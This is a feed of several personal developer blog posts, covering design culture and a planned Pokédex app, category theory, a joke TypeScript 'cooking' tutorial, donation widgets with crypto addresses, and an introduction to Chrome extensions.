Here's the main thesis: The craft of design is net moving backward due to designers designing for designers. Not for users. The social-media-ness of websites like dribble leads their communities to put an emphasis on new design goals for designers participating. Designers now have the socially-favored goal of making designs that appeal to their peers. Instead of, you know, designing for solving user needs.

The author argues that the community around dribble (and other design-focused social media) rewards superficial work. Yet design is anything but superficial. Thus, the whole craft is marching backward. Much to his dismay.

I'm sure you have seen it. That style that appears on every google image search for "mobile app Figma". Here, let me share a screenshot.

Screen Shot 2022-04-04 at 11.29.26.png

In 2020, blogger Teisanu Tudor decided to do a clever etnographic study of Instagram UX-ers in their natural habitat. He disguised himself as an Instagram "UX influencer" with the purpose of understanding why and how designers share their work.

The initial assumption was that "most people create UX-design-related posts on Instagram only to increase exposure, audience and potential leads". And the ensuing study was directed at testing that assumption. His findings were quite nuanced. And sheds some light on the subtleties involved in analyzing complex social phenomena.

  1. For most people, exposure, and leads are consequences rather than goals

  2. The primary goal seems to be to receive validation on their skills from other designers in the community

  3. Joining the community is easy, if you follow the rules and definition of what UX is!

  4. Criticism, no matter how small, triggered defensive and sometimes aggressive behavior. But at the same time, it encouraged people to speak up against a shallow definition of design. But real discussions are difficult.

  5. Thanks to Instagram's format, the meaning of UX seems to be shifting. It is now ok to describe it as shiny, visual and conceptual work.

  6. The same applies to tutorials.

It seems that gatekeep-ed communities tend to favor groupthink and shallow definitions of complex ideas. A social reward system that thrives in quick and easily-digestible content is the consequence of millions of participants competing with each other for social validation.

Thus, the underlying ideas tend to converge into watered-down versions of themselves.

He concludes his study by saying:

"Well…doesn’t it bother anyone that people look at these platforms and see design as a continuously positive, happy, easy, 10-step-quick-learn discipline? How can we both argue for design requiring method, process, and investment, while not caring about the way it’s presented in communities (as the one on Instagram, described here) which will only grow? This positive loop backed by a community that can’t react to constructive criticism can only be toxic towards our field. We did what we know best, we abused a product. We took an existing channel, we saw that there are millions of people using it, and fed them with tiny pieces of information which are easy enough to grasp, but difficult enough to turn them into the pseudo-experts."

Ouch...

I'm gonna leave you with some thoughts of my own.

There seem to be two ways that ideas (the scientific term is memes, but not necessarily the internet kind) can spread.

  • Either by serving as a trigger for honest discussion. So each participant can share their opinion.

  • Or by dominating and extinguishing all other ideas in the community.

The big drawback of the second is that groupthink is favored. Eventually, any other opinion becomes heretical or at least perceived as offensive.

Does your community put rules of courtesy that discourage any kind of criticism? Then it may run the risk of "dribbbilisation".

Please keep in mind that feedback, and constructive criticism, is not necessarily at odds with courtesy. I just don't like it when people confuse courtesy with no-criticism.

In fact, I would argue that a community that favors dull "great job!" comments with no real substance tends to dribbbilisation. Which kills the diversity of ideas and opinions.

And, ultimately, makes creativity impossible.

Which is something that really breaks my heart.

Why is this relevant?

Well, I am researching how to design an app. I am now aware of one BIG potential pitfall I may otherwise fall into during my quest.

I should avoid "dribbbilised" tutorials and resources like the plague!

In a particularly perverse twist, I am more likely to find worthless tutorials than genuinely useful ones. Due to the social dynamics of the whole dribbbilisation phenomena.

There's some Grasham's law crap going on. Bad design drives out good design. Just like bad money drives out good money.

Put in behavioral terms. Bad behavior, when valued the same (or more), will drive out good behavior in a social group.

The bad behavior, in this case, is, obviously, the "path of least resistance" towards the goal of Instagram likes and dribble noteworthiness.

As far back as Aristophanes' play The Frogs this idea can be found. Not only about money, but about human resources.

I’ll tell you what I think about the way this city treats her soundest men today:

By coincidence more sad than funny, it’s very like the way we treat our money.

The noble silver drachma, which of old we were so proud of, and the one of gold coins that rang so true, throughout the world have ceased to circulate.

Instead the purses of Athenian shoppers are full of phoney silver-plated coppers.

Just so, when men are needed by the nation, The best have withdrawn from circulation.

...

Luckily, that very first article I showed you has a very insightful discussion on what design should achieve. As well as resources to get started.

So let's continue the discussion with what I have learned about design.

Design

Here's my best attempt at putting in plain terms what design is.

Design is the craft of solving a practical problem somebody has, in a generic way that works seamlessly with what they are familiar with. Even if the problem is subtle, or the solution is unfamiliar.

Cognitive scientist and legendary designer Donald Norman wrote an amazing book titled "the design of everyday things". His main thesis is that people will automatically leverage their own mental models when trying to use a product, either physical or digital. A good designer, then, can masterfully leverage what people already know and expect, in novel and clever ways. To solve a need the user has. He called it "user-centered design".

Note that I said nothing about the designer's ability to craft pretty things. It may be the case that pretty designs serve the purpose, but it is not the case that that in itself makes for good design.

That being said, I do value pretty and shiny things myself. In my case, they help me keep my focus on things. Something I struggle a lot with because I have ADHD.

Yet, in a subsequent book, "Emotional Design" Norman backtracks some of his claims. Mainly those that imply that the aesthetics are not important. Or that design is mainly a cognitive concern.

He says, bluntly, that we use things that we find pretty, interesting, or emotionally pleasing. Even when they are bad design in terms of the "mental model" view he previously defended.

I think there is some aspect of both in good design. Norman uses the new term "human-centered design". To focus on design that puts the human first, their needs, capabilities, and behavior. And attempts to accommodate for those.

So what shows good design?

According to Paul Adams, from the "dribbbilisation of design" article I shared above. The best job applicants send their thought processes. Sketches, diagrams. Pros and cons. Tradeoffs with potential solutions to real problems. Prototypes to illustrate an idea. And so.

In contrast, the worst applicants send PDFs full of wireframes. Don't take the time to articulate a problem, nor address any business or technical constraints. They give no context. But their designs are pixel-perfect, retina-ready, PNGs made with an eye on Dribble.

Thus redesigns of popular applications (like Facebook) are pretty much worthless. Or "pure folly" as he calls it. There is no problem-solving involved.

He laments that "ugly" sketches and prototypes, or explanations of tradeoffs are just not something you can find on the dribble. Instead, you will for sure find that shiny, conceptual (whatever that means), UX "design" which solves no problem whatsoever.

The really perverse thing is that Dribble itself is (or could be) a great thing. But if you are a newbie trying to learn, can you guess what are you more likely to find?

Can you guess what newcomers to design will come to think design is if the easiest resource to use is something like what dribble's community favor?

Design fulfills a purpose

Suppose you have a business. Apart from making money, why are you bothering with this? That's your mission. What do you expect or aim for in the future? That's your vision.

After that, you have the product architecture. Which, as I understand it, is the description of the components of your product and how they relate to one another. Not so much the technical architecture, nor the diagram of screen transitions.

Once you are clear about your mission, vision, and product architecture you have a way to frame the rest of your design efforts. That is, you have taken the time of figuring out the purpose you will have your design achieve.

In other words, now you have a problem to solve with design.

Four layers of design

Adams claims that the process of design is multilayered, with some order implied. So you should design layer-by-layer, at least in the ideal case.

  1. Outcome. Figure out the outcome you want to achieve. What will be the result of people using your product? Your project is almost doomed to failure without a clear outcome defined.

  2. Structure. How is the product architected? What components make it up, and how are they related? Are those components and relations adequate for the intended outcome?

  3. Interaction. What sequences of behavior and events would produce the desired outcome when users interface with the components that make up your product?

  4. Visual. Make things look beautiful and appealing. Only when the outcome, structure, and interactions are well understood and defined.

I think there is room for some back-and-forth in the process. Especially in light of our discussion about emotional design.

The Jobs framework

In the book "Competing against luck" Harvard professor Clay Christensen discusses how companies succeed. He suggests the theory of jobs to be done. It says that when people buy or chose a product, they "hire" it to do a job that needs to be done. If the product does the job well, people will "hire" it again. If it does a bad job, they "fire" it.

This presents an interesting point of view. You have to take the context in which you are designing into account. Not only the design itself. Because thinking this way leads to the question

What needs to be fired, for my product to be hired?

Paul Adams also adapts the famous "connextra" template for user stories for product design. In as much as it needs to take the user's point of view to figure out which jobs need to be done.

When X, I want to Y, so I can Z.

Hiring a Milkshake

Christensen shares a story about a fast-food restaurant chain that wanted to improve the sales of their milkshakes. Their marketing team's first approach was to segment its market both by product and by demographics.

Then they asked people that fit the demographic to describe their "ideal milkshake". They would then take that feedback and improve their milkshakes. However, the sales did not improve.

The company then asked Christensen for help. His approach was somewhat different. He asked the clients coming for a milkshake, what "job" they were "hiring" the milkshake to do.

He found that around 40 % of the customers purchased the milkshakes in the morning because they wanted something to keep them entertained during their commute. And even though they weren't really hungry at the time of the purchase, they wanted something to offset hunger until lunch later in the day.

And reasoned about the characteristics of a milkshake fit for that job. Customers preferred milkshakes over donuts or bagels because milkshakes are tidier than those other options. And can be handled with just one hand. Thicker milkshakes with thinner straws performed the job of "keeping customers entertained during the boring commute" better than thinner milkshakes.

You can watch the talk here

The way I understand it is this:

X or Y characteristics do not necessarily make for a good product. For example, its "usable", "pleasant to look at", "frictionless". Having those traits does not automatically make a product good.

Rather, a good product accomplishes a job well. Better than others competing for the same customers. <- this is key!

Which characteristics make for a job well done will depend completely on the particular context and market that the product is competing in. Therefore, some contexts may press for a "frictionless" experience, while others may put priority on a beautiful design.

The bottom line is, it depends... its the job of the designer to figure that out.

So that's what I am gonna attempt next!

Designing a Pokédex (really)

Ok, now it is time to put what I learned into practice. I will try my hand at designing... a Pokedex!

I will focus on both the cognitive and emotional dimensions of design that Don Norman talks about. And I will proceed in the layer order that Paul Adams suggests.

I will start framing the first step of Adam's layers in terms of the jobs framework. Let's take some time to ask why someone may "hire" my Pokédex!

Actually, why I would hire my own Pokedex. As I am gonna be its user.

Outcome and goals

First, let's consider the mission. Hopefully, that should shed some light on what the outcome and goals should be.

Why am I bothering with this? I want to learn about design and front-end, of course.

But why with a Pokédex? Well, I like Pokémon games. A lot. And I use online resources when I play to help me figure things out. Like pokémon locations.

When I need to use such online resources I usually have two options. Either search for a Pokédex web app. Or look at a wiki, like Serebii or Bulbapedia. Let's examine those options.

The very first result when searching for a Pokédex is the official pokémon website. Which has a very "marketing-ish" looking Pokédex with too little relevant information. Look at Charizard's entry

Screen Shot 2022-04-04 at 17.10.38.png

and too much irrelevant stuff, like the anime or the trading card game. Which I couldn't care less about.

The second result is the Pokédex from pokemon.gameinfo.io here's Charizard's entry This is a Pokédex made for PokémonGO players. Which is a game I have never played, nor that I care about that much. Again, it has too much irrelevant information and misses what I would find relevant.

A similar problem happens with Bulbapedia. It has information about every aspect of pokémon. But I only care about the mainline games. So, there is a lot of useless information for me. In fact, so much that I have trouble finding the "games" section on any one article. (I have ADHD so this may be a very particular problem of mine and not a design flaw of Bulbapedia's)

Serebii is a little bit more relevant for me. Because even if it has info about all the pokemon ecosystem, it is "segmented" in a sense, so I can easily avoid information about the anime when researching. The problem with Serebii is that it looks horrible (remember the emotional design part?). And the navigation is really confusing for me.

Finally, there's the Pokémon Showdown! Pokédex. Which is geared toward competitive players. But I suck at competitive pokemon. So, although it has a lot of in-depth information, It is not very relevant to me.

BUT!

It has really good interaction. It is uncluttered and presents the relevant information really well. You type in a search bar and a list of suggestions appears in real-time. Then, if you click on any one of those the screen divides into two halves. One for the search and one for the pokémon's entry.

I think that Pokémon Showdown!'s Pokédex interaction is very well designed to achieve its purpose: quick lookup of relevant information. I would say it is very "hirable". In as much as the job I need a Pokédex to do really well is to lookup relevant info seamlessly when I'm playing.

So I have at least three needs.

  1. An interface optimized for quick lookup,

  2. with only relevant info and

  3. a seamless experience.

The outcome should be an app that performs those things well. That's the job.

After this brief analysis of available options, I should reason about what I want in a Pokédex. I mainly use the Pokédex to find each Pokemon's Pokédex entry, locations, the moves they can learn, types and type matchups, base stats, and info about their leveling methods.

If you are not a pokénerd like me, this won't make sense to you. But if you are, you can see that I am your typical casual player that focuses primarily on filling out the Pokédex.

Structure

Here I need to figure out the components of my app. And how they relate to one another to fulfill the job I stated above.

  1. Search bar with update-as-you-type behavior

  2. Pokémon catalog or "browser" in a grid

  3. Info "page" that slides into frame without reloading

  4. Map "page" that slides into frame without reloading

One of my goals is a seamless experience, so I need the app to be a single-page application that doesn't reload. And the two main components, the browser/search, and the info "pages" should lead very easily into one another.

I can already see some stretch goals that would be nice to have.

  1. User accounts or at least local storage.

  2. "collection" tracker for individual users.

  3. A mobile version of the app.

You may be concerned a little because of that last point. As it implies that I am not taking a "mobile-first" approach with the interface. That's true. But when playing I mainly use a Pokédex on my laptop.

And on the other hand, if make a mobile app (or mobile-size responsive web app) I intend to build it all from scratch. Because the current interaction system I have in mind works better on a larger screen.

Let's take a look into that.

Interaction

The interaction should be quite simple. And I will focus especially on that "seamless" experience.

The very first thing you see is a search bar and a grid of all pokemon. As you type, the results on the grid get filtered out. If you click on any one cell, a frame slides from the side occluding the search section.

14817D5D-3081-43DD-B177-B3623B6B1C92.jpeg

If you click on the search section, a "transition" state will activate where you can choose from some suggestions or start typing. Which will take you back to the search state.

1F474EAC-4AC7-46D1-B13B-BD39350241DE.jpeg

You can also search for the map of a particular region. In that case, the search state will transition to a "map" state. The interaction is more or less the same. But there is an intermediate state, where you can click on different sections of the map to see a list of pokémon that appear in that section. If you click on the pokémon, it will take you to the pokédex entry.

4E199B3A-0B8E-4A7C-BFCD-8F4713C4E8B8.jpeg

Finally, here's a diagram of the implied finite state machine for the interaction with the pokedex.

2FC697A3-E95E-41E2-AF3A-1DA0FA3DDB2B.jpeg I made a prototype with Framer. You can play around with the basic "loop".

Visuals

I will work on the visuals with Figma and/or the Procreate app on my iPad. There are some aspects I am already considering

  1. The visual design will be heavily inspired by Pokémon Sword and Shield game's interface. Clean, flat, sharp, and animated.

Pokmon-Sword-and-Shield06132020-034813-78755.jpg

  1. A three-section layout. Search, map, and info. The "background" will have the search bar and browsing grid. The other two will be "sliding" pages.

  2. I will implement the "page" for a pokémon and the map following the "paper page" material metaphor from google's material design.

  3. Other material design principles like the animation for "sliding" paper, as well as bold, sharp, and flat colors and figures to guide attention.

Preliminary technical considerations

I will use Next.js with tailwindCSS for styling and framer motion for animations.

  • I want to serve static pages that get hydrated with data coming from the PokeAPI

  • I will use a basic 3-component page. And the app should update the inner contents, size, and animations of each component based on the implied finite state machine for the interaction.

  • I want to try caching and prefetching from an external API.

I am still unsure what to use for the backend, if any. And for dealing with PokéAPI's graphQL API. But if I go with the stretch goal of adding users, I will probably use AWS amplify.

Epilogue.

In the next post, I will explore the technical considerations of implementing this design.

Please note that I am learning this stuff. So any feedback will be greatly appreciated!

I will also be updating on Twitter with the hashtag #BuildInPublic

So maybe follow me on Twitter?

]]><![CDATA[Thinking about things in many different ways]]>https://blog.jrlgs.dev/thinking-about-things-in-many-different-wayshttps://blog.jrlgs.dev/thinking-about-things-in-many-different-waysMon, 04 Apr 2022 04:18:36 GMTIm starting a new series. More than anything else, for my own curiosity. But by now you know that I will still make an effort to make it valuable for you, my reader!

I will explore a single concept. Here:

Thinking about things in many different ways. On purpose. And attempting to find the different contexts in which the same thing appears, often in non-obvious ways.

It may sound odd. But I do have a purpose.

First, I really believe much of what we call creativity (at least human creativity) really homes in into our ability to think in such ways.

If you have read my blog before, you probably know that I used to work on scientific and philosophical research about what creativity is. <- a surprisingly hard thing to answer!

I am no longer in academia, formally. But I still think of myself as someone that wants answers. So I figured I will continue my research on my own, here.

Second. You may not expect this, but my research was intended to be highly mathematical. But not the same kind of math that physicist usually use. Rather, the maths that can be used to talk coherently about how things relate to one another.

It does happen to be the same math that functional programmers love so much.

Category Theory.

Let me tell you how I think about category theory. I am not an expert, mind you.

A category is a universe of (mathematical) discourse. Or a context in which things have a meaning. But you can only talk about particular things in as much as they relate to other things. You cannot ask what is \( X \) intrinsically? That question is not really something we are interested in answering. Instead you ask what is \(X\) given the relationships it holds with the rest of the things.

So you may think of the category of sets and functions between sets. Then there is some way to identify the empty set \( \emptyset \) as having the unique property that there exactly one function

$$ \emptyset \rightarrow X_i $$

For every other set \(X_i\). In case you are wondering. It's the impossible function. The function that cannot be evaluated (as there are no input elements in the empty set), so it must be unique.

In case that argument does not convince you, think what would happen if you say that there is no such function? I will comeback to this with a proof when we examine mathematical functions closely.

But there are no other sets that satisfy this condition. So we could ignore what we know about the intrinsic characteristics of the empty set and say that it is the object that relates in such a way to every other object in the category of sets. Keep this in mind while we go through the next example.

Let's see an analogous example. Consider the category of types in Haskell and Haskell functions.

In Haskell there is a Void type (which is different from the void from C++). Haskell's Void type has the characteristic that there is no variable that can be of type void. Sounds familiar? Also, there is just one function that takes a Void and returns an object of any other type a, the absurd function:

absurd :: Void -> a

Hopefully you see the analogy. We can play the same card and say that we don't care about the intrinsic characteristics of Void. Only in the fact that it is unique in the way it relates to other things in its context.

We have a generic term for that: initial objects.

In any category any object that relates in such a way is an initial object. They may mean very different things, but they have the same relationship structure with the rest of the things in their context.

So we are somewhat forced to say that they are the same in a sense. Even if it may not be completely obvious.

And then we are forced to figure out how they are the same. We may not have an intuition about it, but we know they are the same, because we have a mathematical proof of that.

Wait, what mathematical proof?

Well... Functors.

Functors are mappings between categories. Which preserve the structure of whatever they map.

But the structure is all we care about!

Consider a functor that maps \(\emptyset \rightarrow \)Void. And that maps the "impossible" function in the category of sets, to the absurd function in the category of Haskell types.

I said that they were analogous.

But I said that because there is a functor that shows so!

The bottom line is this. There is a way that we can systematically ask for analogies. Regardless of whether they make sense to us.

If we start there, and find a "mathematical" analogy, we can then make the effort of making sense of them! In terms that actually mean something to us.

Isn't that what creativity is? Or at least part of it? Making unexpected, almost-nonsensical connections.

And then materializing them in such a way that others understand them?

Well, I will be exploring such ideas in this series. Feel free to hop along for the ride.

But fair warning, I will go deep into the maths.

:D

]]><![CDATA[JavaScript is too hard. So I'm pivoting... into a cooking blog!]]>https://blog.jrlgs.dev/javascript-is-too-hard-so-im-pivoting-into-a-cooking-bloghttps://blog.jrlgs.dev/javascript-is-too-hard-so-im-pivoting-into-a-cooking-blogFri, 01 Apr 2022 16:21:34 GMTOk, here's the thing. I suck at coding. And I don't really like frontend. I have no industry experience.

And let's not kid ourselves, the only job title I actually will accept is that of Senior Fullstack Cloud Serverless Architect, or something.

So, after minutes of soul searching, I clinched a new goal. I flailed my arms up in the air, and with a dry gulp I sighed "F*ck it! I'm starting a cooking blog"

The obligatory tedious life story nobody cares about. In Every. Single. Cooking. Blog.

... Let's just agree that neither you want to read this, nor I want to write it. Moving on...

A recipe for fried eggs. (Because that's the only thing I can cook)

Let's start by importing and initializing our eggs

import {CreateEgg, Egg} from "./modules/Egg.js"

const eggs : Array<Egg> = CreateEgg(2)

You may note that I hard coded the number of eggs, which is not really a good idea. But this is a cooking blog! Quit expecting me to adopt good engineering practices! >:(

Moving on, we will also need some utility methods. The kitchen.js library is really simple to use, and very powerful if you take the time to dive into the docs.

To install it just run npm install kitchen.js. As we will use TypeScript for this tutorial, we will also need to grab the types with npm install @types/kitchen.js

import {Pan} from "kitchen.js"

const pan = new Pan(eggs.map(e => e.break()))

The constructor for the Pan object takes an array of cookable objects. Luckily it can cast our Egg object as a cookable with no extra work on our part. Given that it implements the cookable interface. One of the really nice things about TypeScript :D

The Egg class has a really convenient break() method that returns the egg already broken, saving you hours of tedious manual work. Also, we want to pass the already broken eggs into the pan constructor. Obviously.

Before we cook the eggs, note that the cook() method of Pan gives us the option to pass a callback to taste for salt. (There is a Promise version of this, but for simplicity we will stick to callbacks)


import {Taste, AddSalt} from "Kitchen.js"

pan.cook((t) => {
  if (t < Taste.good) {
    AddSalt(1)
  }
})

Note that AddSalt() takes the amount of salt in grams. Be careful! Also, Kitchen.js will take care of checking for salt at appropriate times, so you don't need to worry about it.

Finally, we can think of a way of serving and eating our eggs.


import {Plate} from "Kitchen.js"

const plate = new Plate(pan.serve())

plate.eat()

Again, kitchen.js is really nice because the pan object works seamlessly with Plate. Thats because Pan.serve() returns the pan’s contents wrapped in a cooked monad, which Plate expects.

Epilogue.

That was fun!

:D

]]><![CDATA[I was featured again!]]>https://blog.jrlgs.dev/i-was-featured-againhttps://blog.jrlgs.dev/i-was-featured-againSun, 27 Mar 2022 18:49:06 GMTThis the obligatory celebration post!

This is the third time that a post of mine was featured. I somehow missed the second XD

Check out my (self-proclaimed) award-winning posts!

Here are the posts that have been featured!

  1. Networking for Success!

  2. Lygometry. Figuring out what I don't know, yet.

  3. Watch me Build Stuff. Exhibit A: Chrome Extensions.

Disclaimer: My imaginary lawyers tell me that I must disclose that they are in fact not winners of awards.

Here's an idea

What if I mint a celebratory limited-edition NFT (preferably on Polygon for the gas fees) for my featured-article celebrations?

I could make it so that you can claim it from the celebration posts, like this one! By placing a big button inside the post where you can run a minting smart contract directly with Metamask.

For free, of course! :D

I try hard to make quality stuff. I want to share some of the joy with you! <- and if I become famous you get a very expensive jpg for free!

Thank you Hashnode team!

]]><![CDATA[Clicky the thingy so I can eat next week]]>https://blog.jrlgs.dev/clicky-the-thingy-so-i-can-eat-next-weekhttps://blog.jrlgs.dev/clicky-the-thingy-so-i-can-eat-next-weekSun, 27 Mar 2022 02:50:08 GMTI'm taking some steps towards monetizing my blog and my writing. Hopefully without selling out.

But. If you start seeing advertisements here...

I have a little bonus for you at the end though!

Hopefully these ideas are useful to you if you also want to monetize your writing :D

Monetizing the blog

As I am currently trying to learn enough to get a job in software development. As depressing as doomscrolling through job offers is...

I want to find other ways to get some income. Believe it or not, $500 USD a month would be life-changing for me. It would match my previous earnings.

Amazon and Buy me a Coffee.

I will be sharing my trademark book recommendations with affiliate links. So If you want to get the books you can help me out, at no cost to you!

I promise I won't spam you with books though. I only share those that are relevant :D

With regards to buy me a coffee, I set up the "monthly subscription" option, if anyone of you feels generous XD

I’m now accepting Crypto!

29BE5617-5F28-4CF8-887C-C28FA89D294B.jpeg

Here, I'll share my BTC address

bc1q57j0ltl7y8ah7sqgpdcvganpatk4p2c0nj73gh

And my ETH address

0x4ad4D62748000239AE9Ca112A6C2390761BF065A

I also use that wallet for Polygon and Binance Smart Chain. So I can receive any token, from any of those three chains, with the same address!

If you are feeling extra generous, you may send me an NFT as well!

I will draw a picture for you and mint an NFT back for you in return!

But hopefully not on Ethereum because the gas is still too high XD

Monetizing my writing

On the other hand, I intend to try my luck at writing. I didn't really though it was a thing. But I recently came across this article on how to make money with technical writing by Catalin Pit.

So I will give it a try.

Hopefully I can afford the monthly Grammarly subscription.

Freelancing writing opportunities?

I recently applied for two freelancing opportunities writing articles here on Hashnode. Let's see if I'm approved!

Catalin also shared a comprehensive list of publications that pay for writing articles

SEO

Finally, Sandro Volpicella wrote the article SEO for Technical Content Writers

Which is a topic I knew nothing about. I'll be learning about it in the following week. And try to figure out how to do it :D

Something fun!

I have a little extra to share with you!

Check the "buy me a coffee" button at the end of the post. Then reload the page and check it again!

XD

I set up a Hashnode widget to dynamically select one message. Here.

<pre>
<hr>

<style type="text/css">

#blurb {
  font-family: sans-serif;
  font-size: 1.5em;
}
</style>

<p id="blurb"></p>

<a href="https://www.buymeacoffee.com/jorchRL" target="_blank" rel="noopener noreferrer" ><img src="https://img.buymeacoffee.com/button-api/?text=Buy me a Coffee :3&emoji=&slug=jorchRL&button_colour=40DCA5&font_colour=ffffff&font_family=Comic&outline_colour=000000&coffee_colour=FFDD00" /></a>


<script type="text/javascript">

const blurbs = [
  "*obligatory beg-for-money section*",
  "Do you like my stuff? Do you want to help my keep doing it? With cash!?",
  "I enjoy eating, you know?",
  "Clicky clicky, gimme that coffee!",
  "Send money :D",
  "*begs for money*",
  "*Makes puppy face. Looks at empty wallet*",
  "Quickly! Click that button! No time to explain!"
];

const blurbNode = document.getElementById("blurb")

blurbNode.innerHTML = blurbs[Math.floor(Math.random()*blurbs.length)]

</script>

</pre>

I also made a widget for the crypto addresses:

<pre>

<style type="text/css">

.logo {
  width: 30px;
  height: 30px;
  padding: 5px;
  }
.address-box {
  max-width: 500px;
  display:flex;
  align-items:center;
  }

.address {
  cursor: text;
  min-width: 300px;
  }

</style>

<span>Consider sending me some crypto!</span>

<div id="btc" class="address-box" >
  <input class="address" onclick="this.select()" type="text" readonly="readonly"    spellcheck="false" value="bc1q57j0ltl7y8ah7sqgpdcvganpatk4p2c0nj73gh" >
  <img class="logo" src="<btc logo src>">
</div>

<div id="btc" class="address-box">
  <input class="address" onclick="this.select()" type="text" readonly="readonly" spellcheck="false" value="0x4ad4D62748000239AE9Ca112A6C2390761BF065A" >
  <img class="logo" src="<eth logo src>">
  <img class="logo" src="<bnb logo src>">
  <img class="logo" src="<matic logo src>">

</div>


</pre>

Epilogue

Hopefully you got some ideas for monetization!

See you next time!

]]><![CDATA[02. Watch me build stuff. Exhibit A: Chrome Extensions]]>https://blog.jrlgs.dev/02-watch-me-build-stuff-exhibit-a-chrome-extensionshttps://blog.jrlgs.dev/02-watch-me-build-stuff-exhibit-a-chrome-extensionsFri, 25 Mar 2022 20:01:26 GMTLet's figure stuff out.

Last post, I suggested a method for figuring stuff out. So let's put it to use for a real project.

I want to learn how to build a fully fledged SaaS (software as a service) product based around a Chrome Extension.

I will document the process as I go through. Starting from knowing nothing. Tumbling my way into a real-life useful extension. And eventually a complete fullstack SaaS project. Remember that the broad goal of this series is getting real-life experience!

In this post, I will provide an overview of chrome extensions. Then I will elaborate on the broad project and its design. Finally, I will hint at what will come next, in future posts!

Let's get started

For completeness sake, let's quickly recap what the technique is about:

  • Asking why implies multiple whats and their relations.
  • The relations between things and between concepts are what matters most.
  • Lygometry. Find out where the "edge" of your knowledge is and always go from there. Attempt to solve open questions you have.
  • Knowledge is effective action. Become able to explain or do efficiently and on demand. It doesn't count if "you think you could do it". Only if you can actually do it.

And a fair warning. This is not a recipe. If anything, it's a set of thinking tools or heuristics that I use. And that I took the effort to showcase to you, in a manner that I think you can find valuable.

The goal of this series is "learning in public". So expect to witness me making dumb mistakes.

That is, don't expect to learn how to make a chrome extension. What I want is to show you how I think.

Thats the lawyer-required disclaimer anyways... I will try hard to make it worth your time.

Ask a pro

The very first thing I did was asking my friend Miki Szeles because he is an absolute pro and recently made his own chrome extension. Selenideium Element inspector. Check it out. For all your element-inspecting needs!

He pointed me out to his series How To Create Your Very Own Chrome Extension - Selenideium Element Inspector.

I told him it was way too advanced for me to follow... Because silly me started reading from the last article in the series! (the one with the big, colorful "breaking news" cover image)

841121FF-1024-4FBE-875C-14294CA4B6FB.jpeg

Sorry Miki. My mistake :D

Anyways. I eventually figured out where the first article in the series was. And learned more than the basics. I will try to mimic his approach with this post.

Miki, being a seasoned developer doesn't spend too much time with the low-level details. And focuses on the higher-level rationale. I think that's a fantastic approach to learning for beginners. You are encouraged, nay forced, to think hard and fill-in some blanks. Just to be able to follow.

I also wanted to do my own research. So let's start with that.

By the way. I made my very first open source contribution ever to this project!

Doing research on my own

Good, high-quality research demands asking ambitious questions.

I typed "why did google build chrome" into... Bing. Obviously. Anyways. My eyes latched onto this four first-page results.

You know, research is tedious. But wretched are those that falter. Take heart! Near attrition, the elders of the internet shall acquiesce your grit.

You won't wander too long before the wonderful chrome comic is bestowed unto you!

Oh! how I love The Internet.

Learning about Chrome Extensions

Chrome's architecture

The most important insight I got from that short incursion, and for the purposes of this post, was that the thing that chrome introduced, back in the day, was sandboxing.

  • Chrome runs a browser-wise process
  • And several tab-wise processes

Thus each tab's process is isolated. For two reasons. First, security. Which is pretty obvious. And second, performance. So that if any one tab's process hangs, the browser can keep working just fine. Chrome even has a task manager of its own!

155B6A5F-AF50-433A-8EE9-91E9802AB684.jpeg

A thing to note is that extensions are sandboxed, just as webpages. But they can send messages back and forth with the browser and with webpages.

If you have used extensions before. Some ideas may be popping into your mind at this point.

Why Extensions

Let's entertain some reasoning about extensions, based on these two principles.

  • they are downloadable and installed
  • they interact with pages and also the browser itself

They cannot just be"downloadable web apps for the browser". That is, it doesn't make much sense that they would be just tab-sandboxed applications. Otherwise they are just, well, web apps, but less convenient. Also, we already have "chrome apps".

But they also can interact or interfere with individual pages on tabs. And with multiple tabs on the same browser session. That is, they can run instructions both tab-wise and browser-wise. And any individual extension may incur in either one of those contexts, or in both, in order to provide its functionality.

Let's see a couple examples

Metamask

If you are into crypto you already know what metamask is. If not. Metamask is a crypto wallet. It holds your private and public keys so that you can interact with the Ethereum blockchain (and others based on Ethereum's standards, like Polygon and BSC).

Metamask injects an ethereum object in the webpage and exposes it as a javascript API. So that developers can leverage metamask in their dApps. When a transaction is sent from the webpage via metamask, it goes through metamask's infura endpoint into the ethereum network.

Your metamask account and ethereum keys are stored browser-wise. But it also injects an api that tab-wise pages can access.

Ad Block

This one is pretty straight forward. It removes or hides parts of a webpage that it identifies as ads. But you can keep browser-wise configuration on the "strictness" of the blocking, for example.

So what are extensions then?

Given what we have uncovered, here's a hypothesis. Architecturally, extensions behave somewhat like bridges. Between the a browser-wide context and the individual tab's context.

And functionally, extensions act as a not-so-obvious application of the decorator pattern. That you may know from software engineering. Or at the very least, something functionally similar.

They "decorate" webpages with additional functionality. Mind you, this is a very lax use of the term "decorator pattern" as I am not claiming that their code is structured in any particular way. Just that the functionality expresses that behavior.

7A892E65-3626-4D85-AB7F-CE291570D6F4.jpeg

So that's what we uncovered about what extensions are. Given the way they relate to both the browser and individual web pages.

But we haven't said anything about what extensions are intrinsically yet. Its easier to see the forest first. Then ask about the trees. Instead of prematurely jump into hands-on tutorials in the name of pragmatism.

Alas, the time is now ripe for exploring the gory details. Fasten your seatbelt. I drive fast!

Manifest v3

As of January 17 2022 Google has stopped accepting new extensions with manifest v2 in the Chrome Web Store. So you may still find tutorials that use it.

With manifest v3 they introduced several changes. Three of them are of relevance for us right now.

First. They are revamping the chrome api to make it promise-based. You can still use callbacks. But first-class support for promises will now be the preferred way of doing things. This means that you can write more readable and declarative code with the async/await syntax and promise-chaining. Which is great news if you are functionally inclined like me!

Second. It now relies on Service Workers instead of background scripts. You now listen to and react to browser events exposed by chrome's extension API. Instead of having a script run when the extension is loaded. Service workers are intended to be spawned on demand and disposed of when no longer needed.

Third, because they want you to take a declarative event-driven style to writing extensions. That means, letting chrome handle how things, like network requests, are done. And you focusing only on the what needs to be done and when.

Google says, it has several compelling reasons for this. Security, Performance, and “Webbiness”, are among those.

Chrome API

You write extensions with javascript, html and css. Google designed it that way. So you have access to pretty much all web APIs you can use for normal webpages.

But you may also use chrome extension-specific APIs. These all live comfortably inside the chrome namespace. Take a look:

chrome.action.onClicked.addListener(function(tab) {
  chrome.tabs.create( {
    url: chrome.runtime.getURL("helloWorld.html")
  })
})

This code register an onClicked event to an "action". Which means it adds a click event on the extension's browser toolbar icon. When triggered, it opens a new browser tab. Which loads an HTML file packed with the extension.

Take a look at this next example of working with bookmarks:

chrome.bookmarks.update("bookmark_id", {title: "bookmark title"},
  function (bookmarkNode) {
  ... // Do stuff with the updated bookmark
  }
)

